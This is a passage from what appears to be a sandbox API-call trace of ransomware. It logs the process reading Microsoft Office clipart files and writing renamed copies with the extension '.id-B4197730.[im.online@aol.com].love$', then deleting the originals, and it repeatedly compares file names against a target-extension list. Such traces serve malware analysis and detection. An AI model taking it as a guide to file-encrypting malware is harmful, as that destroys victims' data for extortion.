dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0262.784] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=28212) returned 1 [0262.784] CloseHandle (hObject=0x42c) returned 1 [0262.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf")) returned 0x220 [0262.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0262.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0262.786] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.786] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0262.789] GetLastError () returned 0x0 [0262.789] ReadFile (in: hFile=0x42c, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x6e34, lpOverlapped=0x0) returned 1 [0262.795] WriteFile (in: hFile=0x534, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x6e40, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x6e40, lpOverlapped=0x0) returned 1 [0262.797] ReadFile (in: hFile=0x42c, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0262.797] WriteFile (in: hFile=0x534, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0262.798] SetEndOfFile (hFile=0x534) returned 1 [0262.798] CloseHandle (hObject=0x534) returned 1 [0262.798] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.798] SetEndOfFile (hFile=0x42c) returned 1 [0262.803] CloseHandle (hObject=0x42c) returned 1 [0262.804] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0262.804] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf")) returned 1 [0262.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0262.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0262.807] lstrlenW (lpString=".doc") returned 4 [0262.807] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.807] lstrlenW (lpString=".docx") returned 5 [0262.807] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0262.807] lstrlenW (lpString=".pdf") returned 4 [0262.807] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.807] lstrlenW (lpString=".xls") returned 4 [0262.807] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.807] lstrlenW (lpString=".xlsx") returned 5 [0262.807] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0262.807] lstrlenW (lpString=".ppt") returned 4 [0262.807] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0262.808] lstrlenW (lpString=".zip") returned 4 [0262.808] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.808] lstrlenW (lpString=".rar") returned 4 [0262.808] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.808] lstrlenW (lpString=".bz2") returned 4 [0262.808] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.808] lstrlenW (lpString=".7z") returned 3 [0262.808] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0262.808] lstrlenW (lpString=".dbf") returned 4 [0262.808] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0262.808] lstrlenW (lpString=".1cd") returned 4 [0262.808] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0262.809] lstrlenW (lpString=".jpg") returned 4 [0262.809] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0262.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0262.809] lstrlenW (lpString=".doc") returned 4 [0262.809] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.809] lstrlenW (lpString=".docx") returned 5 [0262.809] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0262.809] lstrlenW (lpString=".pdf") returned 4 [0262.809] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.809] lstrlenW (lpString=".xls") returned 4 [0262.809] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.809] lstrlenW (lpString=".xlsx") returned 5 [0262.809] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0262.809] lstrlenW (lpString=".ppt") returned 4 [0262.809] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0262.809] lstrlenW (lpString=".zip") returned 4 [0262.809] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.809] lstrlenW (lpString=".rar") returned 4 [0262.809] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.810] lstrlenW (lpString=".bz2") returned 4 [0262.810] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.810] lstrlenW (lpString=".7z") returned 3 [0262.810] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0262.810] lstrlenW (lpString=".dbf") returned 4 [0262.810] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0262.810] lstrlenW (lpString=".1cd") returned 4 [0262.810] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0262.810] lstrlenW (lpString=".jpg") returned 4 [0262.810] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.810] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0262.810] lstrlenW (lpString="J0090781.WMF") returned 12 [0262.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0262.812] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=5314) returned 1 [0262.812] CloseHandle (hObject=0x42c) returned 1 [0262.812] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf")) returned 0x220 [0262.813] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0262.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0262.813] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.813] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0262.815] GetLastError () returned 0x0 [0262.815] ReadFile (in: hFile=0x42c, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x14c2, lpOverlapped=0x0) returned 1 [0262.818] WriteFile (in: hFile=0x534, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x14d0, lpOverlapped=0x0) returned 1 [0262.820] ReadFile (in: hFile=0x42c, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0262.820] WriteFile (in: hFile=0x534, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0262.821] SetEndOfFile (hFile=0x534) returned 1 [0262.821] CloseHandle (hObject=0x534) returned 1 [0262.821] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.822] SetEndOfFile (hFile=0x42c) returned 1 [0262.857] CloseHandle (hObject=0x42c) returned 1 [0262.857] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0263.092] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf")) returned 1 [0263.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0263.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0263.094] lstrlenW (lpString=".doc") returned 4 [0263.094] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.094] lstrlenW (lpString=".docx") returned 5 [0263.094] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0263.095] lstrlenW (lpString=".pdf") returned 4 [0263.095] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.095] lstrlenW (lpString=".xls") returned 4 [0263.095] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.095] lstrlenW (lpString=".xlsx") returned 5 [0263.095] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0263.095] lstrlenW (lpString=".ppt") returned 4 [0263.095] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0263.095] lstrlenW (lpString=".zip") returned 4 [0263.095] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.095] lstrlenW (lpString=".rar") returned 4 [0263.095] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.095] lstrlenW (lpString=".bz2") returned 4 [0263.095] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.096] lstrlenW (lpString=".7z") returned 3 [0263.096] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0263.096] lstrlenW (lpString=".dbf") returned 4 [0263.096] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0263.096] lstrlenW (lpString=".1cd") returned 4 [0263.096] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0263.096] lstrlenW (lpString=".jpg") returned 4 [0263.096] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0263.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0263.096] lstrlenW (lpString=".doc") returned 4 [0263.096] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.096] lstrlenW (lpString=".docx") returned 5 [0263.097] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0263.097] lstrlenW (lpString=".pdf") returned 4 [0263.097] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.097] lstrlenW (lpString=".xls") returned 4 [0263.097] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.097] lstrlenW (lpString=".xlsx") returned 5 [0263.097] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0263.097] lstrlenW (lpString=".ppt") returned 4 [0263.097] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0263.097] lstrlenW (lpString=".zip") returned 4 [0263.097] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.097] lstrlenW (lpString=".rar") returned 4 [0263.097] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.097] lstrlenW (lpString=".bz2") returned 4 [0263.097] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.097] lstrlenW (lpString=".7z") returned 3 [0263.097] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0263.098] lstrlenW (lpString=".dbf") returned 4 [0263.098] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0263.098] lstrlenW (lpString=".1cd") returned 4 [0263.098] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0263.098] lstrlenW (lpString=".jpg") returned 4 [0263.098] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.098] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0263.098] lstrlenW (lpString="J0098497.WMF") returned 12 [0263.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0263.100] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=4970) returned 1 [0263.100] CloseHandle (hObject=0x42c) returned 1 [0263.101] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf")) returned 0x220 [0263.101] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0263.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0263.102] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.102] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0263.104] GetLastError () returned 0x0 [0263.104] ReadFile (in: hFile=0x42c, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x136a, lpOverlapped=0x0) returned 1 [0263.141] WriteFile (in: hFile=0x550, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x1370, lpOverlapped=0x0) returned 1 [0263.143] ReadFile (in: hFile=0x42c, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0263.143] WriteFile (in: hFile=0x550, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0263.143] SetEndOfFile (hFile=0x550) returned 1 [0263.143] CloseHandle (hObject=0x550) returned 1 [0263.143] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.143] SetEndOfFile (hFile=0x42c) returned 1 [0263.147] CloseHandle (hObject=0x42c) returned 1 [0263.147] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0263.148] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf")) returned 1 [0263.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0263.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0263.149] lstrlenW (lpString=".doc") returned 4 [0263.149] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.149] lstrlenW (lpString=".docx") returned 5 [0263.149] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0263.149] lstrlenW (lpString=".pdf") returned 4 [0263.150] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.150] lstrlenW (lpString=".xls") returned 4 [0263.150] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.150] lstrlenW (lpString=".xlsx") returned 5 [0263.150] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0263.150] lstrlenW (lpString=".ppt") returned 4 [0263.150] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0263.150] lstrlenW (lpString=".zip") returned 4 [0263.150] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.150] lstrlenW (lpString=".rar") returned 4 [0263.150] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.150] lstrlenW (lpString=".bz2") returned 4 [0263.150] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.150] lstrlenW (lpString=".7z") returned 3 [0263.150] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0263.150] lstrlenW (lpString=".dbf") returned 4 [0263.150] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0263.151] lstrlenW (lpString=".1cd") returned 4 [0263.151] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0263.151] lstrlenW (lpString=".jpg") returned 4 [0263.151] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0263.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0263.151] lstrlenW (lpString=".doc") returned 4 [0263.151] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.151] lstrlenW (lpString=".docx") returned 5 [0263.151] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0263.151] lstrlenW (lpString=".pdf") returned 4 [0263.152] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.152] lstrlenW (lpString=".xls") returned 4 [0263.152] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.152] lstrlenW (lpString=".xlsx") returned 5 [0263.152] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0263.152] lstrlenW (lpString=".ppt") returned 4 [0263.152] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0263.152] lstrlenW (lpString=".zip") returned 4 [0263.152] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.152] lstrlenW (lpString=".rar") returned 4 [0263.152] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.152] lstrlenW (lpString=".bz2") returned 4 [0263.152] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.152] lstrlenW (lpString=".7z") returned 3 [0263.152] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0263.152] lstrlenW (lpString=".dbf") returned 4 [0263.152] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0263.152] lstrlenW (lpString=".1cd") returned 4 [0263.152] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0263.152] lstrlenW (lpString=".jpg") returned 4 [0263.152] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.152] lstrcmpiW (lpString1=".JPG", lpString2=".love$") returned -1 [0263.153] lstrlenW (lpString="J0099145.JPG") returned 12 [0263.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0263.155] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=24759) returned 1 [0263.155] CloseHandle (hObject=0x42c) returned 1 [0263.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg")) returned 0x220 [0263.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft 